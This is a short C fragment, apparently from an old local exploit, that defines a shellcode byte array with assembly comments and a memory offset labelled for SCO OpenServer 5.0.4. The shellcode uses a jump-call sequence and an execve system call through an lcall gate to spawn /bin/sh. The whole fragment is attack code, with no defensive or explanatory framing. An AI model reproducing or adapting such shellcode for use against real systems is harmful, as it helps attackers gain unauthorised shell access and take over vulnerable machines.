char shellcode[]=
          "\xeb\x16" // start: jmp uno
          "\x5e" // dos: popl %esi
          "\x31\xdb" // xorl %ebx,%ebx
          "\x89\x5e\x07" // movb %bl,0x7(%esi)
          "\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
          "\x88\x5e\x11" // movb %bl,0x11(%esi)
          "\x31\xc0" // xorl %eax,%eax
          "\xb0\x3b" // movb $0x3b,%al
          "\x53" // pushl %ebx
          "\x53" // pushl %ebx
          "\x56" // pushl %esi
          "\x56" // pushl %esi
          "\xeb\x10" // jmp execve
          "\xe8\xe5\xff\xff\xff" // uno: call dos
          "/bin/sh"
          "\xaa\xaa\xaa\xaa"
          "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
          #define OFF 0x8047a98   // SCO OpenServer 5.0.4


